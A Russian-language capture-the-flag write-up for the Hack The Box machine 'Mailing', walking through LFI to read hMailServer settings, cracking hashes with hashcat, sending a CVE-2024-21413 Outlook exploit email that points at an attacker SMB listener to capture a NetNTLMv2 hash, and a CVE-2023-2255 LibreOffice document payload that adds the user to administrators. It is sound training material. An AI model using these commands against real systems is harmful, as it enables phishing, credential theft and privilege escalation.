В этом рай­тапе я покажу, как одновре­мен­но с фишин­гом экс­плу­ати­ровать недав­ний баг в Outlook (CVE-2024-21413), поз­воля­ющий получить хеш пароля поль­зовате­ля. Но сна­чала исполь­зуем LFI, что­бы добыть дан­ные сер­висной учет­ки. При повыше­нии при­виле­гий про­экс­плу­ати­руем уяз­вимость в LibreOffice.

На­ша цель — получе­ние прав супер­поль­зовате­ля на машине Mailing с учеб­ной пло­щад­ки Hack The Box. Уро­вень задания — лег­кий.

warning

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

Разведка

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.14 mailing.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Результат работы скрипта
Ре­зуль­тат работы скрип­та

Ска­нер нашел мно­го откры­тых пор­тов, что нор­маль­но для сер­веров на Windows:

На SMB ничего инте­рес­ного нет, поч­товая служ­ба пока мало чем будет полез­на, поэто­му идем смот­реть веб‑сер­вер.

Главная страница сайта
Глав­ная стра­ница сай­та

Сра­зу отме­чаем на глав­ной стра­нице ссыл­ку на какую‑то инс­трук­цию.

Точка входа

Инс­трук­ция очень боль­шая, но в ней никаких учет­ных дан­ных. Одна­ко из нее мы узна­ём поч­товый адрес maya@mailing.htb, а так­же то, что исполь­зует­ся поч­товый кли­ент Outlook.

Скриншот из инструкции
Скрин­шот из инс­трук­ции

Здесь явно пред­полага­ется век­тор фишин­га, но у нас пока что нет никаких учет­ных дан­ных, а зна­чит, поищем дру­гие пути для прод­вижения. Обра­тим вни­мание на спо­соб ска­чива­ния инс­трук­ции. Под­робнос­ти мож­но пос­мотреть в Burp History.

Запрос в Burp History
Зап­рос в Burp History

Имя фай­ла переда­ется в парамет­ре file, а это зна­чит, что тут может быть уяз­вимость LFI, поз­воля­ющая прос­матри­вать дру­гие фай­лы в сис­теме. Давай перебе­рем воз­можные пути через Burp Intruder. В качес­тве целево­го фай­ла будем исполь­зовать всег­да и всем дос­тупный для чте­ния /Windows/System32/drivers/etc/hosts.

Burp Intruder — вкладка Positions
Burp Intruder — вклад­ка Positions
Burp Intruder — вкладка Results
Burp Intruder — вклад­ка Results

Филь­тру­ем резуль­тат и видим в зап­росах содер­жимое фай­ла, а зна­чит, есть LFI.

Точка опоры

Что­бы про­верять какие‑то сис­темные фай­лы, нам может не хва­тать при­виле­гий, поэто­му работа­ем с тем, что есть, а имен­но с hMailServer, который мы видели, ска­нируя пор­ты. Пос­ле поис­ка информа­ции в интерне­те я нашел на «Дзе­не» рус­ско­языч­ную статью по адми­нис­три­рова­нию hMailServer. В статье при­веден путь к фай­лу с нас­трой­ками, а так­же его при­мер­ное содер­жимое. Меня очень заин­тересо­вали стро­ки с пароля­ми.

Скриншот из статьи
Скрин­шот из статьи

Про­чита­ем нас­трой­ки на уда­лен­ном сер­вере через Burp Repeater:

C:\Program+Files+(x86)\hMailServer\Bin\hMailServer.INI
Файл конфигураций hMailServer
Файл кон­фигура­ций hMailServer

Стро­ка в парамет­ре AdministratorPassword — это навер­няка хеш пароля, а не сам пароль. Отда­дим его hashcat.

hashcat 841bb5acfa6779ae432fd7a4e6600ba7 rockyou.txt
Список алгоритмов хеширования
Спи­сок алго­рит­мов хеширо­вания

Но hashcat лишь отоб­разил спи­сок воз­можных алго­рит­мов хеширо­вания. Так мы узна­ём, что сер­вер hMailServer исполь­зует для хеширо­вания паролей алго­ритм MD5, поэто­му ука­зыва­ем режим 0 и пов­торя­ем брут.

hashcat -m 0 841bb5acfa6779ae432fd7a4e6600ba7 rockyou.txt
Результат подбора пароля
Ре­зуль­тат под­бора пароля

От­лично, теперь у нас есть пароль и имя поль­зовате­ля адми­нис­тра­тора поч­тового сер­вера. Перехо­дим к фишин­гу.

Продвижение

Ни­какой информа­ции о фор­матах отправ­ляемых фай­лов я не нашел. По отправ­ленным мной ссыл­кам на HTTP и SMB тоже ник­то не перешел. Тог­да я решил обра­тить свое вни­мание на пос­ледние экс­пло­иты в Outlook. Поищем их, исполь­зуя Google.

Поиск эксплоитов в Google
По­иск экс­пло­итов в Google

Наш­лась уяз­вимость CVE-2024-21413. Она поз­воля­ет обой­ти встро­енные средс­тва защиты Outlook от вре­донос­ных ссы­лок в элек­трон­ных пись­мах. Для это­го исполь­зует­ся про­токол file:// и спе­циаль­ный сим­вол ! в ссыл­ке для дос­тупа к уда­лен­ному сер­веру. Помимо все­го, эта уяз­вимость поз­воля­ет обой­ти фун­кцию «Защищен­ный вид», которая пред­назна­чена для бло­киров­ки вре­донос­ного содер­жимого фай­лов.

На GitHub уже есть го­товый авто­мати­зиро­ван­ный экс­пло­ит, поэто­му сде­лаем всё по инс­трук­ции. Пер­вым делом запус­тим лис­тенер.

sudo python3 Responder.py -I tun0

А затем отпра­вим сооб­щение, где в парамет­ре --url ука­жем адрес лис­тенера.

python3 CVE-2024-21413.py --server mailing.htb --port 587 --username administrator@mailing.htb --password homenetworkingadministrator --sender administrator@mailing.htb --recipient maya@mailing.htb --url "\\10.10.16.5/test" --subject Test
Отправка сообщения
От­прав­ка сооб­щения
Логи листенера
Ло­ги лис­тенера

В ито­ге ловим NetNTLMv2-хеш пароля поль­зовате­ля maya и отправ­ляем его на брут.

hashcat maya::MAILING:d76ae35a1ec4b9cc:2530B2.....0000 rockyou.txt
Результат подбора пароля
Ре­зуль­тат под­бора пароля

С получен­ным паролем авто­ризу­емся по WinRM и получа­ем пер­вый флаг.

evil-winrm -i mailing.htb -u maya -p m4y4ngs4ri
Флаг пользователя
Флаг поль­зовате­ля

Локальное повышение привилегий

Ос­матри­ваем­ся в фай­ловой сис­теме и находим необыч­ный каталог Important Documents на дис­ке C.

Содержимое диска C
Со­дер­жимое дис­ка C

Век­тор сра­зу стал понятен — нуж­но сфор­мировать документ с мак­росом или исполь­зовать какую‑то уяз­вимость в офис­ном при­ложе­нии. Но спер­ва най­дем целевое офис­ное при­ложе­ние, ско­рее все­го, оно будет в Program Files.

Содержимое каталога Program Files
Со­дер­жимое катало­га Program Files

Су­дя по катало­гам, иско­мое при­ложе­ние — это LibreOffice. Из фай­ла readmes\readme_es.txt узна­ем вер­сию про­дук­та.

Содержимое файла readme_es.txt
Со­дер­жимое фай­ла readme_es.txt

Пер­вым делом сто­ит про­верить, есть ли для этой вер­сии готовые экс­пло­иты. Сно­ва отправ­ляем­ся в Google.

Поиск эксплоитов в Google
По­иск экс­пло­итов в Google

По пер­вой ссыл­ке получа­ем экс­пло­ит для уяз­вимос­ти CVE-2023-2255, которая поз­воля­ет выпол­нить про­изволь­ный код при откры­тии спе­циаль­но соз­данно­го докумен­та. Сге­нери­руем документ и закинем в каталог Important Documents на дис­ке C. В качес­тве наг­рузки зададим однос­троч­ник, добав­ляющий текуще­го поль­зовате­ля в груп­пу адми­нис­тра­торов.

python3 CVE-2023-2255.py --cmd 'net localgroup Administradores maya /add' --output 'exploit.odt'

Как толь­ко документ исчезнет из катало­га, про­верим груп­пы поль­зовате­ля.

Информация о пользователе
Ин­форма­ция о поль­зовате­ле

Те­кущий поль­зователь теперь в груп­пе адми­нис­тра­торов, а зна­чит, можем перело­гинить­ся и про­чита­ем флаг рута.

Флаг рута
Флаг рута

Ма­шина зах­вачена!